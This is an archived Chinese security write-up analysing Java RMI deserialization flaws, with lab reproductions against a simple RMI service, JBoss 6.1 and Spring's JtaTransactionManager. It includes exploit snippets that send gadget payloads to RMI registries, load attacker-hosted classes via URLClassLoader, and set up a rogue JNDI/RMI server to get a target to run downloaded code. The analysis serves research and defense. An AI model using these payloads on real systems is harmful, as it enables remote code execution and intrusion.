# java RMI相关反序列化漏洞整合分析

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2016-02-26T02:43:00Z
Canonical: https://wepostx.com/topics/92

> 乌云历史资料归档
>
> **原始作者：** angelwhu
> **原始编号：** superkieran-wooyundrops:1055
> **原始发布时间：** 2016-02-26 10:43
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

Author：angelwhu

# 0x00 背景

在阐述java反序列化漏洞时，[原文](http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)中提到：
Java LOVES sending serialized objects all over the place. For example:
In HTTP requests – Parameters, ViewState, Cookies, you name it.
RMI – The extensively used Java RMI protocol is 100% based on serialization
RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects
JMX – Again, relies on serialized objects being shot over the wire Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come

在java使用RMI机制时，会使用序列化对象进行数据传输。这就会产生java反序列化漏洞。利用范围是很大。
之后，绿盟科技提到了[JBoss中存在RMI机制方面的漏洞](http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/)。最近又有了[spring框架RCE漏洞](http://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%E5%88%A9%E7%94%A8/)，这个漏洞利用与RMI密切相关。
这里便整理关于RMI漏洞的相关漏洞，并进行简要利用分析。

# 0x01 RMI简介

摘自网络的简要介绍：
RMI是Remote Method Invocation的简称，是J2SE的一部分，能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象，可以从另一个Java虚拟机上（甚至跨过网络）调用它的方法，可以像调用本地Java对象的方法一样调用远程对象的方法，使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

这里看出它的功能中是可以通过网络进行对象的传输，使其可以进行远程对象调用。下面就写一个简单的RMI程序，说明其存在反序列化漏洞问题。

# 0x02 RMI应用程序攻击

首先简单的实现一个服务端，启用RMI服务，绑定在6600端口：

```text
#!java public class Run { public static void main(String[] args) { try { //PersonServiceInterface personService=new PersonServiceImp(); //注册通讯端口 LocateRegistry.createRegistry(6600); //注册通讯路径 //Naming.rebind("rmi://127.0.0.1:6600/PersonService", personService); System.out.println("Service Start!"); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } } }
```
上述代码中代码中，本来我使用bind函数，将personService对象绑定在服务器端供外部调用。
但我发现，即使没有任何对象绑定，只是用一行代码LocateRegistry.createRegistry(6600);,开通RMI服务。然后，通过访问服务端口（这里的6600端口），即可实现反序列化攻击。
这里进行利用当然遵从java反序列化漏洞中一个条件：Apache Commons Collections或者其他存在缺陷的第三方库包含在lib路径中。这里使用的是commons-collections-3.1.jar,将其加入到lib路径中。

![原文图片](/media/2016/06/8c84f8b4aae64842d2e3f51737af4622)

这样，上述简单的RMI应用程序满足了反序列化漏洞的两个条件：

- 存在反序列化对象数据传输。

- 有缺陷的Apache Commons Collections第三方库在lib路径中。
攻击代码的编写：

```text
#!java Object instance = PayloadGeneration.generateExecPayload("calc"); InvocationHandler h = (InvocationHandler) instance; Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h));//动态代理Rmote接口。 Registry registry = LocateRegistry.getRegistry(ip, port);//服务器端的ip和端口 try{ registry.bind("pwned", r); // r is remote obj } catch (Throwable e) { e.printStackTrace(); }
```
这里将java反序列化漏洞的payload封装了下，PayloadGeneration.generateExecPayload("calc");会产生一个执行calc命令的对象，有兴趣的可以在我的[github](https://github.com/angelwhu/java_unserialize/blob/master/payload/PayloadGeneration.java)上查看源码。然后，将我们的payload发送到RMI服务端口进行攻击。
registry.bind("pwned", r);中r对象必须继承Remote接口。所以这里使用了java动态代理技术来代理Remote接口并生成其对象r。然后使用bind函数便可将攻击payload发送到RMI服务中，远程执行calc命令，攻击完成。本机测试如下：

![原文图片](/media/2016/06/2eba480dfe4d340160c60fbe2d31e800)

这里可以看到，只要应用服务器上使用了RMI服务，并使用了Apache Commons Collections第三方库，就可能存在反序列化命令执行的漏洞。
值得关注的是，RMI服务的攻击，同样可以使用URLClassLoader方法进行回显。

```text
#!java Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://****/java/", "exploit.ErrorBaseExec", "do_exec", "pwd");
```
同样，将封装好的payload换成URLClassLoader的攻击负载。便能加载远程的exploit.ErrorBaseError类，执行pwd命令，即可回显。这是我在Ubuntu上运行服务端进行的测试结果。

![原文图片](/media/2016/06/13f5ca738658e6ba741b2c165e849d32)

这里说明了应用程序在使用RMI机制时，会存在反序列化的问题。如果恰好使用了有缺陷的第三方库，那就可以远程命令执行了。接下来，看看实际场景中的相关漏洞。

# 0x03 JBoss RMI攻击利用

JBOSS符合我们在上述讨论中的两个条件：

- 它使用了RMI机制进行信息通信，端口1099使用了jndi和端口1090则是RMI服务端口。

- 并且包含了Apache Commons Collections第三方库。于是就可以说存在远程命令执行漏洞了。
在绿盟科技的文章中，提到了JBOSS中存在使用RMI机制的问题，可以在JMXInvoker删除的情况下获取shell。 于是可以这样重现命令执行。
使用如下命令启动jboss，默认就会对外开放所有端口。当然10.10.10.135代表本机ip。

```text
#!bash ./run.sh -b 10.10.10.135
```
首先，扫描一下jboss服务器端口，这里我使用的是jboss-6.1.0.Final版本，安装在Ubuntu虚拟机中。使用nmap扫描结果如下：

```text
#!bash 1090/tcp open ff-fms 1091/tcp open ff-sm 1098/tcp open rmiactivation 1099/tcp open rmiregistry 4446/tcp open n1-fwp 5500/tcp open hotline 8009/tcp open ajp13 8080/tcp open http-proxy 8083/tcp open us-srv
```
发现1090端口和1099端口对外开放了。也就是说RMI服务对外开放了。
在这里说一下，在jboss利用上面，按照原文的代码利用，没有重现成功。其中有payload的问题，所以使用了我自己写的封装好的payload，比较方便。另外，我们一开始认为攻击1099端口，我的好同学研究发现应该是1090端口，这才攻击成功。
于是有了以下攻击代码：

```text
#!java Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://******:8080/java/", "exploit.ErrorBaseExec", "do_exec", "pwd"); InvocationHandler h = (InvocationHandler) instance; Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h)); Registry registry = LocateRegistry.getRegistry("10.10.10.135", 1090); try{ registry.bind("pwned", r); // r is remote obj } catch (Throwable e) { e.printStackTrace(); }
```
运行代码，并攻击Jboss可以得到如下执行结果：

![原文图片](/media/2016/06/35815a0ed8830a3cc084934e0bdb34e1)

# 0x04 Spring framework远程命令执行分析

这个漏洞涉及JNDI和RMI服务，比较有趣。代码细节分析请参考资料中的第三个，分析的非常好，就不班门弄斧了。这里简单理清这个攻击的步骤。
与Apache Commons Collections这个库的反序列化利用类似，我们需要将spring框架中的lib包，包含在CLASSPATH中。这个要求比较苛刻，需要的包也比较多：

![原文图片](/media/2016/06/a1d85e7e6e6496b5a2350a0d7b9c619f)

翻译下[原文](http://zerothoughts.tumblr.com/post/137831000514/spring-framework-deserialization-rce)的命令执行代码链：
spring-tx.jar中包含org.springframework.transaction.jta.JtaTransactionManager类，这个类存在JNDI的反序列化问题。
它的readObject() 方法执行中含有这样的一个路径：

```text
#!bash initUserTransactionAndTransactionManager()-> lookupUserTransaction()-> JndiTemplate.lookup()-> InitialContext.lookup(userTransactionName)
```
InitialContext.Lookup() 会调用 userTransactionName属性，这个属性是我们可以控制的。
查阅JNDI使用，可以发现userTransactionName属性可以是一个外网的RMI路径，比如:rmi://10.10.10.1:1099/Object。
于是我们可以自己搭建一个RMI服务器，让目标服务器来访问下载执行准备好的任意java代码。
服务端搭建在Ubuntu虚拟机上，简单地建立一个socket进行数据传输并反序列化解析。代码自行查阅github~~
简要画的原理如下：

![原文图片](/media/2016/06/c2529984379c402ade6bd917b798e2ff)

Client端即为攻击方，它向目标服务器发送JtaTransactionManager序列化对象后，会触发server端进行访问Client端(即：这时的RMI服务器端)中的RMI服务，去下载任意java对象进行执行。关键代码为：

```text
#!java //创建RMI服务 Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new javax.naming.Reference("client.ExportObject","client.ExportObject","http://"+ localAddress +"/"); //访问rmi服务时，会转到该url地址中下载client.ExportObject类，并新建对象。 ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference); registry.bind("Object", referenceWrapper); String jndiAddress = "rmi://"+localAddress+":1099/Object"; //通过jndi访问rmi服务 org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager(); object.setUserTransactionName(jndiAddress);
```
测试远程执行ifconfig命令，可在服务端看到执行成功，同时客户端看到了访问记录。结果如下：

![原文图片](/media/2016/06/b24cb54c4d004352adee60360cce56ba)

![原文图片](/media/2016/06/24e721ba1b257bd5608382645bbff48e)

# 0x05 结语

java反序列漏洞影响很大，RMI机制也是冰山一角。期待相互交流研究。

# 0x06 参考资料及源码

- [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)

- [http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/](http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/)

- [http://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%E5%88%A9%E7%94%A8/](http://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%E5%88%A9%E7%94%A8/)

- [http://zerothoughts.tumblr.com/post/137831000514/spring-framework-deserialization-rce](http://zerothoughts.tumblr.com/post/137831000514/spring-framework-deserialization-rce)

- [https://github.com/angelwhu/java_unserialize](https://github.com/angelwhu/java_unserialize)

- [https://github.com/zerothoughts/spring-jndi](https://github.com/zerothoughts/spring-jndi)

## Replies